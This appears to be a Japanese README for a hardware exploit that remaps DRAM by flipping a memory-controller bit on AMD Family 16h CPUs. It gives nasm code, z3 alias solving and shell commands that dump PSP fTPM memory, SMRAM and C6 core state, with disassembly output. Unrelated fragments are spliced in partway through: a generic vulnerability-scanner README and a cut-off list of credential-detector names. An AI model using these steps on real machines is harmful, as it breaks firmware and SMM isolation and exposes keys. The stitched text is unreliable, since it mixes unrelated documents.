
CPU 上で DRAM スクランブリングを使って _すべて_ を解き放つ
DRAMスクランブリングでCPU上のすべてを解錠する — PSP、C6、マイクロコード、 SMM、そして仕様書が省いたその他すべて。
&x == &x。
通常は。

DRAMコントローラをいじれば、アドレスをメモリ内の好きな場所に着地させることができる。skitter-creek-bath-saltsはメモリ階層の最下層を改変し、物理DRAMアドレス変換を再配線する。これによりプラットフォームメモリがスクランブルされ、DRAMの保護領域 — カーネルにさえ見えないカーブアウト — が露出する。アドレス変換が壊れるとき、その上に築かれたセキュリティプリミティブも壊れ、我々はすべてを解錠する。
AMD Family 16h CPUで開発・テスト済み。これはデータシートがDRAMコントローラの変換レジスタを文書化した最後の世代であり、それらがロックできないことを示している。17h以降は単にこの情報を省いている。*pの長い旅路は世代やアーキテクチャを超えて類似しており、その根底にある変換はARM、RISC-V、さらにはその先にまで及ぶ。skitter-creek-bath-saltsは我々にを示す。
*pの長い旅路下りは長い道のりだ。
メモリは、ほとんど不条理に思えるほど深い抽象化の層の上に築かれている。あなたのコードが*pをデリファレンスすると、pのDRAMにアクセスしているように見える。そうではない — pは仮想アドレスであり、DRAMの1ビットに触れる前に、以下の試練を生き延びなければならない:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
このプロジェクトは `*p` パイプラインの最も深いレベル、MCT/DCT レイヤーで動作します
— そこでは、データファブリック/インターコネクトからの物理アドレスがメモリ
コントローラに入り、DIMM に発行される生の DRAM 座標へと
最後にもう一度書き換えられます。
---
## DRAM のスパゲッティ化
> 物理アドレスは、実際にはほとんど提案にすぎない。```nasm
xor dword [0xf80c2094], 0x00400000
それがエクスプロイトのすべてだ。
DRAMコントローラ内の1ビットのビットフリップが *p パイプラインの底を配線し直し、&x にあったデータはフライト中にどこか別の場所へ移る。突然 &x != &x になる。CPU、ファームウェア、uncore、チップセットが保護メモリを隔離するために使うあらゆる機構はメモリコントローラの上に位置しており、その下で何が起きているかは誰も見ていない。フェンスが守るのは物理アドレスであり、DRAM座標ではない。座標を並べ替えれば、上位のバリアは決して気づかない。
しかしDRAMの配線を変えるのは簡単だ。上のビットはDCTのbank-swizzle-modeであり、最終層でアドレスリマップを制御する数十のうちの一つにすぎない——それらをつつけば、その上に構築されたすべてが崩れ落ちる。難しいのはそのあと、システムメモリ全体がその下でスクランブルされる中でプラットフォームを動かし続けることだ。
コツはこうだ:素早く動き、DRAMに触れないこと。APを無効化し、TLBを準備し、キャッシュを温め、割り込みを無効化し、ターゲットをフラッシュし、メモリアクセスを直列化し、CPUがこれから実行する命令をプリフェッチしていることを祈る。そしてMCT/DCTを配線し直してDRAMをスパゲッティ化し、保護領域からデータを取得し、マッピングを元に戻し、再び直列化し、割り込みを有効化し、APを再開すれば、プラットフォームは正常に戻る。```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
ページング、キャッシュ状態、スレッディング、TLBを注意深く設定することで、アドレススクランブリングをCから動作させることができ、`*p`パイプラインの崩壊と、突然`&x != &x`になったときのプラットフォームの破損したビューを例示できます:

これでマップを再配線し、痕跡を残さずに復元できます。あとは、何に再配線したのかを知るだけです。
---
## *すべて*を解錠する
> プラットフォーム上のすべての保護されたメモリ領域に、電卓で到達可能。
上記のアプローチにより、実行中のシステム上でMCT/DCT変換を再プログラムできます — `*p`パイプラインの最下段を再配置し、その上に構築されたすべての保護の下からメモリをスクランブルします。
しかし課題があります:単純な`xor dword [0xf80c2094], 0x00400000`で変換を再プログラムできますが、MCT/DCTがどのような新しい変換を使用するのかはわかりません(データシートはここで不十分に指定されています — xorマップはオフであり、MMIO減算ステージは順序付けされておらず、詳細はモデルによって異なります)。これがなければ、メモリはスクランブルされますが、それを再構築する方法がありません。
幸いなことに、DRAMコントローラのアドレス変換はGF(2)線形写像であるため、基本的な線形代数でスクランブルされたメモリを再構築できます。
まず、通常のケースを考えます:デフォルトのMCT/DCT構成の順方向変換が何らかの物理アドレスに適用され、DRAM内の秘密の場所に到達します:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
これはメモリのコヒーレントな見方である。*p パイプラインの最下段は、まさに期待通りに動作している。
ここで *p の MCT/DCT 段を xor dword [0xf80c2094], 0x00400000 で再配線すると、プラットフォームはスクランブル化/スパゲッティ化されたメモリの見方に入り、そこでは別の変換によってエイリアスが同じ DRAM の秘密に到達できるようになる。```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
このエイリアスにより、コヒーレントビュー用に構築された既存のプラットフォームロックと防御に触れることなく、同じシークレットに到達できます。エイリアスを見つけるには、攻撃/スパゲッティ化ハッシュの逆とファームウェア/コヒーレントハッシュの順方向を合成して、悪意のある MCT/DCT 構成から任意のシークレットに到達する変換を取得します:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
唯一の課題は、行列が未知であることです。つまり、メモリが実際にどのようにスクランブルされているのかまったく分からず、そもそも秘密に到達するために使用できる変換も存在しません:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
幸いなことに、この時点では単なる線形代数であり、必要なら変換を手計算で解くこともできる。あるいは電卓を使ってもよい。
我々は [z3](https://github.com/z3prover/z3) を使用する。まず、SMT ソルバーが扱うための制約が必要である。
コヒーレントビューから開始し、MCT/DCT を変更してスパゲッティ化ビューに切り替え、`0xdeadc0de` のようなセンチネル値をメモリ内のランダムなアドレスに書き込み、コヒーレントビューに戻し、センチネルが再出現する場所をメモリ上でスイープする。これにより (target, alias) ペアが得られる — DRAM 内の同じセルにマップされる 2 つの物理アドレスを示す具体的なデータポイントである。このプロセスを繰り返し、いくつかのデータを集め、それを z3 に渡すと、2 つのビュー間の変換に必要な変換行列を解いてくれる — 一方のコヒーレントビューの物理アドレスと、もう一方のスパゲッティ化ビューのエイリアスを対応付けるものである:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
エイリアスペアをz3に1つずつ投入することで、SMTソルバーがメモリスキャンブリングをリアルタイムで解読する様子を観察できます。これは冒頭の画像に示されているとおりです。
解かれた変換はロゼッタストーンです。コヒーレントビュー内の任意のターゲットアドレスは、スパゲッティ化ビューで同じDRAMに到達するエイリアスにマッピングされます。保護されたメモリに到達するには、通常は触れないアドレス — PSPプライベートメモリ、SMRAM、C6アイドル状態 — を取り、それを変換に通してエイリアスを得ます。次にxor dword [0xf80c2094], 0x00400000でDCTを再配線し、エイリアスを読み書きし、2回目のxorで元に戻します。*pパイプラインを通るエイリアスの経路は、プラットフォームがコヒーレントビュー用に構築したフェンスに決して引っかかりません — DRAM内のあらゆるものへの無制限アクセスです。

最終的に、それほど注意深く隔離されたものすべて — PSPプライベートメモリ、SMRAM、C6アイドル状態、OSからアクセス不能、ring-0、時にはCPU自体からも — は、依然として同じDRAMコンデンサ上に存在しています。しかし、ロックはメモリのコヒーレントビューを中心に構築されており、同じセルに到達するスパゲッティ化エイリアスに対しては何の効果もありません。
*pパイプラインの最終レベルで1ビットを反転させれば、すべてのロックが解除されます。
PSPを改ざんして、何が起こるか見てみましょう。
fTPMはPSP自身のARMコア上で、可視トップオブメモリのすぐ先にあるDRAMカーブアウト内で動作しています。OSから見える物理アドレスをそこにエイリアシングすることで到達し、バイトを引き出して逆アセンブルします。```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
(no content provided)```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
それがPSPのRSAエンジンだ — すべてのfTPM署名の背後にあるmodexpであり、その鍵を生成するMiller-Rabinテストの背後にあるものでもある。PSPが単独で所有すべきメモリから取り出され、メモリコントローラで隔離され、ring-0からさえも不透明だ。好きなように変更してよい。
SMMが隠しているものを読む。
SMIハンドラのエントリベクタは SMBASE + 0x8000 にある。SMBASE はMSR 0xc0010111 にある。それを読み、エイリアスマップを通してバイト列を取得し、そのままディスアセンブラに流し込む:```sh
./userspace/platform_check || exit 1
sudo modprobe msr
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
## 主な機能
- **自動スキャン**: 指定されたディレクトリを自動的にスキャンし、脆弱な依存関係を検出します。
- **詳細なレポート**: 検出された脆弱性の詳細なレポートを生成します。
- **CI/CD 統合**: 継続的インテグレーションパイプラインに簡単に統合できます。
- **カスタマイズ可能**: 特定のニーズに合わせてスキャン設定をカスタマイズできます。
## インストール
```bash
git clone https://github.com/example/vulnerability-scanner.git
cd vulnerability-scanner
pip install -r requirements.txt
スキャナを実行するには、次のコマンドを使用します:
python scanner.py --path /path/to/project
| オプション | 説明 |
|---|---|
--path | スキャンするプロジェクトのパス |
--output | レポートの出力ファイル |
--format | レポートの形式 (json, html, csv) |
--severity | 最低重大度レベル (low, medium, high, critical) |
設定ファイル config.yaml を作成して、スキャナの動作をカスタマイズできます:
scan:
exclude:
- node_modules
- vendor
severity_threshold: medium
report:
format: html
output: report.html
[+] Scanning project...
[+] Found 3 vulnerabilities:
- CVE-2023-1234 (High) in [email protected]
- CVE-2023-5678 (Medium) in [email protected]
- CVE-2023-9012 (Low) in [email protected]
[+] Report saved to report.html
貢献を歓迎します! プルリクエストを送信する前に、貢献ガイドラインをお読みください。
このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
これらの命令はリング -2 で実行される。これは CPU 上で最も特権的なコンテキストであり、チップセットが読み取り不能にするはずのメモリ上にある。DRAM コントローラに直接アクセスできるとなれば、SMRAM の「ロック」は結局のところ丁寧な提案に過ぎないことがわかる。
`2x4gb` を、インストールされている DIMM に一致する `data/maps/` 内の任意のプレフィックスに置き換える(`sudo dmidecode -t memory`)。自分のトポロジーがそこにない場合は、`analysis/gather_aliases.py` を実行してから `analysis/unspaghettify.py` を実行し、自分用に生成する。
---
## クイックスタート: C6 DRAM のロック解除
> *ここに何があるのか全く見当がつかず、議論されているのも見たことがない。おそらく CPU 内部レジスタだろう。楽しんでほしい。*
コアが C6 にパワーゲートすると、各コアの完全な x86 アーキテクチャコンテキストが復元用にここに退避される。```sh
./userspace/platform_check || exit 1
# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
printf 'core %d ' $c
hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
detect_aws_keys — AWS アクセスキー ID とシークレットキーdetect_github_tokens — GitHub の個人アクセストークンと OAuth トークンdetect_slack_tokens — Slack のボットトークンとユーザートークンdetect_private_keys — RSA、DSA、EC、OpenSSH の秘密鍵detect_jwt — JSON Web Tokendetect_google_api — Google API キーと OAuth クライアント IDdetect_stripe_keys — Stripe のライブキーとテストキーdetect_twilio_keys — Twilio のアカウント SID と認証トークンdetect_sendgrid_keys — SendGrid API キーdetect_npm_tokens — npm アクセストークンdetect_pypi_tokens — PyPI API トークンdetect_docker_tokens — Docker Hub アクセストークンdetect_heroku_keys — Heroku API キーdetect_shopify_tokens — Shopify のアクセストークンと共有シークレットdetect_discord_tokens — Discord のボットトークンと Webhook URLdetect_telegram_tokens — Telegram のボットトークンdetect_facebook_tokens — Facebook のアクセストークンとアプリシークレットdetect_twitter_tokens — Twitter の API キーとアクセストークンdetect_linkedin_tokens — LinkedIn のアクセストークンとクライアントシークレットdetect_azure_keys — Azure のストレージキーと接続文字列detect_gcp_keys — GCP のサービスアカウントキーと API キーdetect_database_urls — 認証情報を含むデータベース接続文字列detect_redis_urls — 認証情報を含む Redis 接続文字列detect_mongodb_urls — 認証情報を含む MongoDB 接続文字列detect_amqp_urls — 認証情報を含む AMQP 接続文字列detect_smtp_credentials — SMTP のユーザー名とパスワードdetect_ftp_credentials — FTP のユーザー名とパスワードdetect_ssh_credentials — SSH のユーザー名とパスワードdetect_basic_auth — HTTP Basic 認証ヘッダーdetect_bearer_tokens — HTTP Bearer トークンdetect_api_keys — 一般的な API キーパターンdetect_passwords — 一般的なパスワードパターンdetect_credit_cards — クレジットカード番号detect_ssn — 米国社会保障番号detect_phone_numbers — 電話番号detect_email_addresses — メールアドレスdetect_ip_addresses — IP アドレスdetect_mac_addresses — MAC アドレスdetect_urls — URLdetect_domains — ドメイン名detect_file_paths — ファイルパスdetect_environment_variables — 環境変数detect_aws_arns — AWS ARNdetect_aws_account_ids — AWS アカウント IDdetect_azure_subscription_ids — Azure サブスクリプション 